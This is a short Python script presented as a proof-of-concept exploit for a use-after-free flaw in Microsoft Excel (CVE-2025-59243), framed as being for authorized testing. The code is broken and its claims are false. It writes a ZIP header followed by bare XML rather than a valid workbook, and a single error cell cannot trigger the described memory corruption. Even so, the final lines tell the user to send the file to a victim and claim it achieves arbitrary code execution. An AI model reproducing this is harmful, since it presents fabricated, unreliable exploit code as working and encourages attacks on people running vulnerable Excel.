The following code is for security research and authorized testing only.
python
# CVE-2025-59243 PoC - Use After Free in Microsoft Office Excel
# This is a conceptual PoC demonstrating the exploitation technique.
# Actual exploitation requires a specially crafted Excel file.
import struct
import os
# Minimal Excel file structure with UAF trigger
# The vulnerability is triggered when Excel processes specific object references
# after the underlying memory has been freed.
class ExcelUAFExploit:
"""
Conceptual PoC for CVE-2025-59243 - Excel Use After Free
The exploit works by:
1. Creating an Excel file with malformed object references
2. Triggering memory deallocation through specific parsing paths
3. Reclaiming freed memory with controlled data
4. Achieving code execution when the dangling pointer is dereferenced
"""
def __init__(self):
self.magic_xlsx = b'PK\x03\x04' # ZIP magic for .xlsx
self.target_object_id = 0x41414141
def create_malicious_workbook(self, output_path):
"""Create a malicious Excel workbook that triggers the UAF"""
# Build minimal XLSX structure with crafted XML content
workbook_xml = self._build_workbook_xml()
worksheet_xml = self._build_worksheet_xml()
# The crafted content triggers UAF when Excel processes
# embedded objects with invalid reference chains
with open(output_path, 'wb') as f:
f.write(self.magic_xlsx)
f.write(workbook_xml)
f.write(worksheet_xml)
print(f"[+] Malicious workbook created: {output_path}")
print(f"[!] When opened in vulnerable Excel, this triggers CVE-2025-59243")
def _build_workbook_xml(self):
"""Build workbook XML with triggering conditions"""
xml = b'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
xml += b'<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">'
xml += b'<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>'
xml += b'</workbook>'
return xml
def _build_worksheet_xml(self):
"""Build worksheet XML with malformed object references to trigger UAF"""
xml = b'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
xml += b'<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">'
xml += b'<sheetData>'
# Crafted cell content that triggers the UAF condition
xml += b'<row r="1"><c r="A1" t="e"><v>#REF!</v></c></row>'
xml += b'</sheetData>'
xml += b'</worksheet>'
return xml
# Note: A real exploit would require a fully valid XLSX file structure
# with carefully crafted embedded objects (OLE) or drawing elements
# that trigger the specific UAF code path in Excel's parsing engine.
# This typically involves:
# - Heap spray primitives to control freed memory
# - ROP chains or shellcode placement
# - Proper XLSX/OLE file structure with malicious payloads
if __name__ == "__main__":
exploit = ExcelUAFExploit()
exploit.create_malicious_workbook("cve-2025-59243_poc.xlsx")
print("[*] Send this file to a victim with vulnerable Excel (2016/2019/2021/365)")
print("[*] Upon opening, arbitrary code execution is achieved")